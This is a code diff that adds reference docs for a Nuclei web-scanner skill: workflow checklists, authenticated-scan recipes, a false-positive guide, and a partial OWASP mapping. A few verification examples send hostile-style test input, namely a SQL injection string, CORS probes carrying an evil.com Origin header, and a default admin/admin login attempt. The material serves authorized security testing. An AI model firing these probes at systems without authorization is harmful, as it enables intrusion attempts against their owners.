- For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/appsec/dast-nuclei/references/WORKFLOW_CHECKLIST.md b/skills/appsec/dast-nuclei/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/appsec/dast-nuclei/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/appsec/dast-nuclei/references/authentication_patterns.md b/skills/appsec/dast-nuclei/references/authentication_patterns.md new file mode 100644 index 0000000..4bc53b3 --- /dev/null +++ b/skills/appsec/dast-nuclei/references/authentication_patterns.md @@ -0,0 +1,489 @@ +# Nuclei Authentication Patterns + +## Table of Contents +- [Bearer Token Authentication](#bearer-token-authentication) +- [Cookie-Based Authentication](#cookie-based-authentication) +- [API Key Authentication](#api-key-authentication) +- [OAuth 2.0 Authentication](#oauth-20-authentication) +- [Custom Authentication Scripts](#custom-authentication-scripts) +- [Multi-Factor Authentication](#multi-factor-authentication) + +## Bearer Token Authentication + +### Basic Bearer Token + +```bash +# Using header flag +nuclei -u https://api.target.com \ + -header "Authorization: Bearer $AUTH_TOKEN" \ + -severity critical,high + +# Using environment variable +export AUTH_TOKEN="your-token-here" +nuclei -u https://api.target.com \ + -header "Authorization: Bearer $AUTH_TOKEN" +``` + +### JWT Token with Refresh + +```bash +# Initial authentication to get token +TOKEN=$(curl -X POST https://api.target.com/auth/login \ + -d '{"username":"test","password":"test"}' \ + -H "Content-Type: application/json" | jq -r '.access_token') + +# Scan with token +nuclei -u https://api.target.com \ + -header "Authorization: Bearer $TOKEN" \ + -tags api,cve + +# Refresh token if needed +REFRESH_TOKEN=$(curl -X POST https://api.target.com/auth/refresh \ + -H "Authorization: Bearer $TOKEN" | jq -r '.access_token') +``` + +## Cookie-Based Authentication + +### Session Cookie Authentication + +```bash +# Login and extract session cookie +curl -c cookies.txt -X POST https://target-app.com/login \ + -d "username=testuser&password=testpass" + +# Extract cookie value +SESSION=$(grep session cookies.txt | awk '{print $7}') + +# Scan with session cookie +nuclei -u https://target-app.com \ + -header "Cookie: session=$SESSION" \ + -severity critical,high +``` + +### Multiple Cookies + +```bash +# Multiple cookies can be specified +nuclei -u https://target-app.com \ + -header "Cookie: session=$SESSION; user_id=$USER_ID; csrf_token=$CSRF" \ + -tags cve,owasp +``` + +## API Key Authentication + +### Header-Based API Key + +```bash +# API key in header +nuclei -u https://api.target.com \ + -header "X-API-Key: $API_KEY" \ + -tags api,exposure + +# Multiple API authentication headers +nuclei -u https://api.target.com \ + -header "X-API-Key: $API_KEY" \ + -header "X-Client-ID: $CLIENT_ID" \ + -tags api +``` + +### Query Parameter API Key + +Create custom template for query parameter auth: + +```yaml +id: api-scan-with-query-auth +info: + name: API Scan with Query Parameter Auth + author: security-team + severity: info + +http: + - method: GET + path: + - "{{BaseURL}}/api/endpoint?api_key={{api_key}}" + + payloads: + api_key: + - "{{env('API_KEY')}}" +``` + +## OAuth 2.0 Authentication + +### Client Credentials Flow + +```bash +# Get access token +ACCESS_TOKEN=$(curl -X POST https://auth.target.com/oauth/token \ + -d "grant_type=client_credentials" \ + -d "client_id=$CLIENT_ID" \ + -d "client_secret=$CLIENT_SECRET" \ + -H "Content-Type: application/x-www-form-urlencoded" | jq -r '.access_token') + +# Scan with OAuth token +nuclei -u https://api.target.com \ + -header "Authorization: Bearer $ACCESS_TOKEN" \ + -tags api,cve +``` + +### Authorization Code Flow + +```bash +# Step 1: Manual authorization to get code +# Navigate to: https://auth.target.com/oauth/authorize?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&response_type=code + +# Step 2: Exchange code for token +AUTH_CODE="received-from-redirect" +ACCESS_TOKEN=$(curl -X POST https://auth.target.com/oauth/token \ + -d "grant_type=authorization_code" \ + -d "code=$AUTH_CODE" \ + -d "client_id=$CLIENT_ID" \ + -d "client_secret=$CLIENT_SECRET" \ + -d "redirect_uri=$REDIRECT_URI" | jq -r '.access_token') + +# Step 3: Scan +nuclei -u https://api.target.com \ + -header "Authorization: Bearer $ACCESS_TOKEN" +``` + +### OAuth Token Refresh + +```bash +#!/bin/bash +# oauth_refresh_scan.sh + +CLIENT_ID="your-client-id" +CLIENT_SECRET="your-client-secret" +REFRESH_TOKEN="your-refresh-token" + +# Function to get fresh access token +get_access_token() { + curl -s -X POST https://auth.target.com/oauth/token \ + -d "grant_type=refresh_token" \ + -d "refresh_token=$REFRESH_TOKEN" \ + -d "client_id=$CLIENT_ID" \ + -d "client_secret=$CLIENT_SECRET" | jq -r '.access_token' +} + +# Get token and scan +ACCESS_TOKEN=$(get_access_token) +nuclei -u https://api.target.com \ + -header "Authorization: Bearer $ACCESS_TOKEN" \ + -tags api,cve,owasp +``` + +## Custom Authentication Scripts + +### Form-Based Login Script + +```python +#!/usr/bin/env python3 +import requests +import subprocess +import sys + +def login_and_get_session(): + """Login and return session cookie""" + session = requests.Session() + + # Perform login + login_data = { + "username": "testuser", + "password": "testpassword" + } + + response = session.post( + "https://target-app.com/login", + data=login_data + ) + + if response.status_code != 200: + print(f"Login failed: {response.status_code}", file=sys.stderr) + sys.exit(1) + + # Extract session cookie + session_cookie = session.cookies.get("session") + return session_cookie + +def run_nuclei_scan(session_cookie, target_url): + """Run Nuclei with authenticated session""" + cmd = [ + "nuclei", + "-u", target_url, + "-header", f"Cookie: session={session_cookie}", + "-severity", "critical,high", + "-tags", "cve,owasp" + ] + + result = subprocess.run(cmd) + return result.returncode + +if __name__ == "__main__": + target = sys.argv[1] if len(sys.argv) > 1 else "https://target-app.com" + + print("Authenticating...") + session = login_and_get_session() + + print("Running Nuclei scan...") + exit_code = run_nuclei_scan(session, target) + + sys.exit(exit_code) +``` + +### SAML Authentication + +```python +#!/usr/bin/env python3 +import requests +from bs4 import BeautifulSoup +import subprocess + +def saml_login(idp_url, username, password): + """Perform SAML authentication flow""" + session = requests.Session() + + # Step 1: Get SAML request from SP + sp_response = session.get("https://target-app.com/saml/login") + + # Step 2: Submit credentials to IdP + soup = BeautifulSoup(sp_response.text, 'html.parser') + saml_request = soup.find('input', {'name': 'SAMLRequest'})['value'] + + idp_login = session.post( + idp_url, + data={ + 'username': username, + 'password': password, + 'SAMLRequest': saml_request + } + ) + + # Step 3: Submit SAML response back to SP + soup = BeautifulSoup(idp_login.text, 'html.parser') + saml_response = soup.find('input', {'name': 'SAMLResponse'})['value'] + + sp_acs = session.post( + "https://target-app.com/saml/acs", + data={'SAMLResponse': saml_response} + ) + + # Return session cookie + return session.cookies.get_dict() + +# Use in Nuclei scan +cookies = saml_login( + "https://idp.example.com/saml/login", + "testuser", + "testpass" +) + +cookie_header = "; ".join([f"{k}={v}" for k, v in cookies.items()]) +subprocess.run([ + "nuclei", + "-u", "https://target-app.com", + "-header", f"Cookie: {cookie_header}", + "-severity", "critical,high" +]) +``` + +## Multi-Factor Authentication + +### TOTP-Based MFA + +```python +#!/usr/bin/env python3 +import pyotp +import requests +import subprocess + +def login_with_mfa(username, password, totp_secret): + """Login with username, password, and TOTP""" + session = requests.Session() + + # Step 1: Submit username and password + login_response = session.post( + "https://target-app.com/login", + data={ + "username": username, + "password": password + } + ) + + # Step 2: Generate and submit TOTP code + totp = pyotp.TOTP(totp_secret) + mfa_code = totp.now() + + mfa_response = session.post( + "https://target-app.com/mfa/verify", + data={"code": mfa_code} + ) + + if mfa_response.status_code != 200: + raise Exception("MFA verification failed") + + return session.cookies.get("session") + +# Use in scan +session_cookie = login_with_mfa( + "testuser", + "testpass", + "JBSWY3DPEHPK3PXP" # TOTP secret +) + +subprocess.run([ + "nuclei", + "-u", "https://target-app.com", + "-header", f"Cookie: session={session_cookie}", + "-tags", "cve,owasp" +]) +``` + +### SMS/Email MFA (Manual Intervention) + +```bash +#!/bin/bash +# mfa_manual_scan.sh + +echo "Step 1: Performing initial login..." +curl -c cookies.txt -X POST https://target-app.com/login \ + -d "username=testuser&password=testpass" + +echo "Step 2: MFA code sent. Please check your email/SMS." +read -p "Enter MFA code: " MFA_CODE + +echo "Step 3: Submitting MFA code..." +curl -b cookies.txt -c cookies.txt -X POST https://target-app.com/mfa/verify \ + -d "code=$MFA_CODE" + +echo "Step 4: Running Nuclei scan with authenticated session..." +SESSION=$(grep session cookies.txt | awk '{print $7}') +nuclei -u https://target-app.com \ + -header "Cookie: session=$SESSION" \ + -severity critical,high \ + -tags cve,owasp + +echo "Scan complete!" +``` + +## Advanced Patterns + +### Dynamic Token Rotation + +```bash +#!/bin/bash +# token_rotation_scan.sh + +TARGET_URL="https://api.target.com" +AUTH_ENDPOINT="https://auth.target.com/token" +CLIENT_ID="client-id" +CLIENT_SECRET="client-secret" + +# Function to get new token +refresh_token() { + curl -s -X POST $AUTH_ENDPOINT \ + -d "grant_type=client_credentials" \ + -d "client_id=$CLIENT_ID" \ + -d "client_secret=$CLIENT_SECRET" | jq -r '.access_token' +} + +# Get initial token +TOKEN=$(refresh_token) + +# Scan critical templates +nuclei -u $TARGET_URL \ + -header "Authorization: Bearer $TOKEN" \ + -severity critical \ + -tags cve + +# Refresh token for next batch +TOKEN=$(refresh_token) + +# Scan high severity templates +nuclei -u $TARGET_URL \ + -header "Authorization: Bearer $TOKEN" \ + -severity high \ + -tags owasp +``` + +### Authenticated Multi-Target Scanning + +```bash +#!/bin/bash +# multi_target_auth_scan.sh + +# Read targets from file +TARGETS_FILE="targets.txt" +AUTH_TOKEN="your-auth-token" + +while IFS= read -r target; do + echo "Scanning: $target" + + nuclei -u "$target" \ + -header "Authorization: Bearer $AUTH_TOKEN" \ + -severity critical,high \ + -o "results/$(echo $target | sed 's|https://||' | sed 's|/|_|g').txt" + + sleep 5 # Rate limiting between targets +done < "$TARGETS_FILE" + +echo "All scans complete!" +``` + +## Best Practices + +1. **Never Hardcode Credentials**: Use environment variables or secrets management +2. **Rotate Tokens**: Refresh authentication tokens for long-running scans +3. **Session Validation**: Verify session is still valid before scanning +4. **Rate Limiting**: Respect rate limits when authenticated (often higher quotas) +5. **Scope Validation**: Ensure authenticated access doesn't expand out of scope +6. **Audit Logging**: Log all authenticated scan activities +7. **Token Expiry**: Handle token expiration gracefully with refresh +8. **Least Privilege**: Use accounts with minimum necessary privileges for testing + +## Troubleshooting + +### Token Expired During Scan + +```bash +# Add token refresh logic +nuclei -u https://api.target.com \ + -header "Authorization: Bearer $TOKEN" \ + -severity critical || { + echo "Scan failed, refreshing token..." + TOKEN=$(refresh_token) + nuclei -u https://api.target.com \ + -header "Authorization: Bearer $TOKEN" \ + -severity critical + } +``` + +### Session Cookie Not Working + +```bash +# Debug session cookie +curl -v https://target-app.com/protected-page \ + -H "Cookie: session=$SESSION" + +# Check cookie expiration +echo $SESSION | base64 -d | jq '.exp' + +# Re-authenticate if expired +SESSION=$(re_authenticate) +``` + +### Multiple Authentication Methods + +```bash +# Some APIs require multiple auth headers +nuclei -u https://api.target.com \ + -header "Authorization: Bearer $TOKEN" \ + -header "X-API-Key: $API_KEY" \ + -header "X-Client-ID: $CLIENT_ID" \ + -tags api +``` + +## Resources + +- [OAuth 2.0 RFC](https://oauth.net/2/) +- [JWT.io](https://jwt.io/) +- [SAML 2.0](http://saml.xml.org/) +- [Nuclei Authentication Docs](https://docs.projectdiscovery.io/) diff --git a/skills/appsec/dast-nuclei/references/false_positive_guide.md b/skills/appsec/dast-nuclei/references/false_positive_guide.md new file mode 100644 index 0000000..625be69 --- /dev/null +++ b/skills/appsec/dast-nuclei/references/false_positive_guide.md @@ -0,0 +1,491 @@ +# Nuclei False Positive Handling Guide + +## Table of Contents +- [Understanding False Positives](#understanding-false-positives) +- [Common False Positive Scenarios](#common-false-positive-scenarios) +- [Verification Techniques](#verification-techniques) +- [Template Filtering Strategies](#template-filtering-strategies) +- [Custom Template Refinement](#custom-template-refinement) + +## Understanding False Positives + +False positives occur when Nuclei reports a finding that doesn't represent an actual security vulnerability in the context of your application. + +### Types of False Positives + +1. **Context-Specific**: Finding is valid in general but not applicable to your application +2. **Version-Specific**: CVE template triggers but your version is patched +3. **Configuration-Based**: Security control exists but Nuclei can't detect it +4. **Pattern Matching Errors**: Regex/word matchers trigger on benign content + +## Common False Positive Scenarios + +### 1. Missing Security Headers (Info/Low Severity) + +**Finding**: Missing `X-Frame-Options`, `Content-Security-Policy` + +**False Positive When**: +- Headers set at CDN/WAF level (not visible to scanner) +- Application is not intended for browser rendering (pure API) +- Modern browsers already protect against clickjacking + +**Verification**: +```bash +# Check headers from actual browser +curl -I https://target-app.com +curl -I https://target-app.com -H "User-Agent: Mozilla/5.0" + +# Check if CDN adds headers +curl -I https://target-app.com -v 2>&1 | grep -i "x-frame-options\|content-security" +``` + +**Filter Strategy**: +```bash +# Exclude header-related info findings +nuclei -u https://target-app.com -etags headers -severity critical,high +``` + +### 2. Directory Listing / Exposed Paths + +**Finding**: Directory listing enabled, exposed paths like `/admin`, `/backup` + +**False Positive When**: +- Path requires authentication (Nuclei tested unauthenticated) +- Path is intentionally public (documentation, public assets) +- CDN/WAF blocks access (returns 200 with error page) + +**Verification**: +```bash +# Manual verification with authentication +curl https://target-app.com/admin \ + -H "Authorization: Bearer $TOKEN" \ + -H "Cookie: session=$SESSION" + +# Check actual response content +curl https://target-app.com/backup | head -20 +``` + +**Filter Strategy**: +```bash +# Exclude exposure templates for authenticated scans +nuclei -u https://target-app.com \ + -header "Authorization: Bearer $TOKEN" \ + -etags exposure +``` + +### 3. CVE Templates Against Patched Versions + +**Finding**: CVE-2024-XXXXX detected + +**False Positive When**: +- Application version is patched but template matches on generic patterns +- Backported patches applied without version number change +- Template uses loose detection criteria + +**Verification**: +```bash +# Check actual version +curl https://target-app.com/version +curl https://target-app.com -v 2>&1 | grep -i "server:" + +# Cross-reference with CVE details +# Check if version is vulnerable per NVD/vendor advisory +``` + +**Filter Strategy**: +```bash +# Scan only recent CVEs +nuclei -u https://target-app.com \ + -tags cve \ + -template-condition "contains(id, 'CVE-2024') || contains(id, 'CVE-2023')" + +# Exclude specific false positive templates +nuclei -u https://target-app.com \ + -exclude-id CVE-2018-12345,CVE-2019-67890 +``` + +### 4. Technology Detection False Positives + +**Finding**: WordPress, Drupal, or other CMS detected + +**False Positive When**: +- Generic strings match (like "wp-" in custom code) +- Legacy migration artifacts remain +- Application mimics CMS structure but isn't actually that CMS + +**Verification**: +```bash +# Check for actual CMS files +curl https://target-app.com/wp-admin/ +curl https://target-app.com/wp-includes/ +curl https://target-app.com/readme.html + +# Technology fingerprinting +whatweb https://target-app.com +wappalyzer https://target-app.com +``` + +**Filter Strategy**: +```bash +# Exclude tech detection templates +nuclei -u https://target-app.com -etags tech +``` + +### 5. Default Login Pages + +**Finding**: Admin panel or login page detected + +**False Positive When**: +- Panel is legitimate and intended to be accessible +- Panel requires MFA even if default credentials work +- Detection based on title/strings only without credential testing + +**Verification**: +```bash +# Test if default credentials actually work +curl -X POST https://target-app.com/login \ + -d "username=admin&password=admin" \ + -v + +# Check if MFA is required +curl -X POST https://target-app.com/login \ + -d "username=admin&password=admin" \ + -c cookies.txt + +curl https://target-app.com/dashboard \ + -b cookies.txt +``` + +**Filter Strategy**: +```bash +# Scan with authentication to skip login detection +nuclei -u https://target-app.com \ + -header "Authorization: Bearer $TOKEN" \ + -etags default-logins,exposed-panels +``` + +### 6. API Endpoints Reporting Errors + +**Finding**: SQL errors, stack traces, or verbose errors detected + +**False Positive When**: +- Errors are intentional validation messages +- Stack traces only shown in dev/staging (not production) +- API returns structured error JSON (not actual stack trace) + +**Verification**: +```bash +# Check actual error response +curl https://api.target.com/endpoint?id=invalid -v + +# Verify it's not SQL error but validation error +curl https://api.target.com/endpoint?id=' OR '1'='1 -v +``` + +### 7. CORS Misconfiguration + +**Finding**: `Access-Control-Allow-Origin: *` + +**False Positive When**: +- Intentional for public APIs +- Only applies to non-sensitive endpoints +- Additional CORS headers restrict actual access + +**Verification**: +```bash +# Check if sensitive endpoints have CORS +curl https://api.target.com/public/data \ + -H "Origin: https://evil.com" -v + +curl https://api.target.com/private/users \ + -H "Origin: https://evil.com" \ + -H "Authorization: Bearer $TOKEN" -v +``` + +## Verification Techniques + +### Manual Verification Checklist + +For each critical/high severity finding: + +1. **Reproduce the finding**: + ```bash + # Use exact URL and parameters from Nuclei output + curl "https://target-app.com/vulnerable-path" -v + ``` + +2. **Check authentication context**: + ```bash + # Test with authentication + curl "https://target-app.com/vulnerable-path" \ + -H "Authorization: Bearer $TOKEN" -v + ``` + +3. **Verify exploitability**: + - Can you actually exploit the vulnerability? + - Is there a working PoC? + - What's the actual impact? + +4. **Check mitigating controls**: + - WAF rules blocking exploitation + - Network segmentation limiting access + - Monitoring and alerting in place + +5. **Consult security team**: + - Discuss edge cases with security engineers + - Review against threat model + +### Automated Verification Script + +Use bundled script to batch verify findings: + +```bash +python3 scripts/verify_findings.py \ + --input nuclei-results.jsonl \ + --auth-token $AUTH_TOKEN \ + --output verified-findings.jsonl +``` + +## Template Filtering Strategies + +### Strategy 1: Severity-Based Filtering + +Focus on high-impact findings: + +```bash +# Critical and high only +nuclei -u https://target-app.com -severity critical,high + +# Exclude info findings +nuclei -u https://target-app.com -exclude-severity info +``` + +### Strategy 2: Tag-Based Filtering + +Filter by vulnerability type: + +```bash +# Only CVEs and OWASP vulnerabilities +nuclei -u https://target-app.com -tags cve,owasp + +# Exclude informational tags +nuclei -u https://target-app.com -etags tech,info,headers +``` + +### Strategy 3: Template Exclusion + +Exclude known false positive templates: + +```bash +# Exclude specific templates +nuclei -u https://target-app.com \ + -exclude-id CVE-2018-12345,generic-login-panel + +# Exclude template directories +nuclei -u https://target-app.com \ + -exclude-templates nuclei-templates/http/misconfiguration/ +``` + +### Strategy 4: Custom Template Allowlist + +Use only verified templates: + +```bash +# Scan with curated template set +nuclei -u https://target-app.com \ + -t custom-templates/verified/ \ + -t nuclei-templates/http/cves/2024/ +``` + +### Strategy 5: Conditional Template Execution + +Use template conditions: + +```bash +# Only recent critical CVEs +nuclei -u https://target-app.com \ + -tags cve \ + -severity critical \ + -template-condition "contains(id, 'CVE-2024')" +``` + +## Custom Template Refinement + +### Improving Matcher Accuracy + +**Before (High False Positives)**: +```yaml +matchers: + - type: word + words: + - "admin" +``` + +**After (Lower False Positives)**: +```yaml +matchers-condition: and +matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "admin" + - "dashboard" + - "login" + condition: and + + - type: regex + regex: + - '[^<]*admin[^<]*panel[^<]*' + case-insensitive: true +``` + +### Adding Negative Matchers + +Exclude known false positive patterns: + +```yaml +matchers: + - type: word + words: + - "SQL syntax error" + + # Negative matcher - must NOT match + - type: word + negative: true + words: + - "validation error" + - "input error" +``` + +### Version-Specific Matching + +Match specific vulnerable versions: + +```yaml +matchers-condition: and +matchers: + - type: regex + regex: + - 'WordPress/([0-5]\.[0-9]\.[0-9])' # Versions < 6.0.0 + + - type: word + words: + - "wp-admin" +``` + +### Confidence-Based Classification + +Add confidence levels to findings: + +```yaml +info: + metadata: + confidence: high # low, medium, high + +matchers-condition: and # More matchers = higher confidence +matchers: + - type: status + status: [200] + + - type: word + words: ["vulnerable_signature_1", "vulnerable_signature_2"] + condition: and + + - type: regex + regex: ['specific[_-]pattern'] +``` + +## False Positive Tracking + +### Document Known False Positives + +Create suppression file: + +```yaml +# false-positives.yaml +suppressions: + - template: CVE-2018-12345 + reason: "Application version is patched (backport applied)" + verified_by: security-team + verified_date: 2024-11-20 + + - template: exposed-admin-panel + urls: + - https://target-app.com/admin + reason: "Admin panel requires MFA and IP allowlist" + verified_by: security-team + verified_date: 2024-11-20 + + - template: missing-csp-header + reason: "CSP header added at CDN level (Cloudflare)" + verified_by: devops-team + verified_date: 2024-11-20 +``` + +### Use Suppression in Scans + +```bash +# Filter out documented false positives +python3 scripts/filter_suppressions.py \ + --scan-results nuclei-results.jsonl \ + --suppressions false-positives.yaml \ + --output filtered-results.jsonl +``` + +## Best Practices + +1. **Always Verify Critical Findings Manually**: Don't trust automated tools blindly +2. **Context Matters**: What's vulnerable in one app may be safe in another +3. **Track False Positives**: Document and share with team +4. **Refine Templates**: Improve matcher accuracy over time +5. **Use Multiple Tools**: Cross-verify with other scanners (ZAP, Burp, etc.) +6. **Severity Calibration**: Adjust severity based on your environment +7. **Regular Template Updates**: Keep templates current to reduce false positives +8. **Authenticated Scanning**: Many false positives occur in unauthenticated scans + +## Tools and Resources + +### Verification Tools + +```bash +# cURL for manual verification +curl -v https://target-app.com/endpoint + +# httpie (user-friendly HTTP client) +http https://target-app.com/endpoint + +# Burp Suite for manual testing +# ZAP for cross-verification +``` + +### Analysis Scripts + +Use bundled scripts: + +```bash +# Compare findings across scans +python3 scripts/compare_scans.py \ + --baseline scan1.jsonl \ + --current scan2.jsonl + +# Filter findings by confidence +python3 scripts/filter_by_confidence.py \ + --input scan-results.jsonl \ + --min-confidence high \ + --output high-confidence.jsonl +``` + +## Conclusion + +False positives are inevitable in automated security scanning. The key is to: +- Understand WHY false positives occur +- Develop systematic verification processes +- Refine templates and filters over time +- Document and track false positives for future reference +- Balance automation with manual verification + +A good rule of thumb: **Spend time refining your scanning approach to maximize signal-to-noise ratio**. diff --git a/skills/appsec/dast-nuclei/references/owasp_mapping.md b/skills/appsec/dast-nuclei/references/owasp_mapping.md new file mode 100644 index 0000000..057370d --- /dev/null +++ b/skills/appsec/dast-nuclei/references/owasp_mapping.md @@ -0,0 +1,245 @@ +# OWASP Top 10 2021 Mapping for Nuclei Findings + +## Table of Contents +- [A01:2021 - Broken Access Control](#a012021---broken-access-control) +- [A02:2021 - Cryptographic Failures](#a022021---cryptographic-failures) +- [A03:2021 - Injection](#a032021---injection) +- [A04:2021 - Insecure Design](#a042021---insecure-design) +- [A05:2021 - Security Misconfiguration](#a052021---security-misconfiguration) +- [A06:2021 - Vulnerable and Outdated Components](#a062021---vulnerable-and-outdated-components) +- [A07:2021 - Identification and Authentication Failures](#a072021---identification-and-authentication-failures) +- [A08:2021 - Software and Data Integrity Failures](#a082021---software-and-data-integrity-failures) +- [A09:2021 - Security Logging and Monitoring Failures](#a092021---security-logging-and-monitoring-failures) +- [A10:2021 - Server-Side Request Forgery (SSRF)](#a102021---server-side-request-forgery-ssrf) + +## A01:2021 - Broken Access Control + +### Nuclei Template Tags +- `exposure` - Exposed sensitive files and directories +- `idor` - Insecure Direct Object References +- `auth-bypass` - Authentication bypass vulnerabilities +- `privilege-escalation` - Privilege escalation issues + +### Common Findings +- **Exposed Admin Panels**: `/admin`, `/administrator`, `/wp-admin` accessible without authentication +- **Directory Listing**: Open directory listings exposing sensitive files +- **Backup Files Exposed**: `.bak`, `.sql`, `.zip` files publicly accessible +- **Git/SVN Exposure**: `.git`, `.svn` directories exposed +- **API Access Control**: Missing authorization checks on API 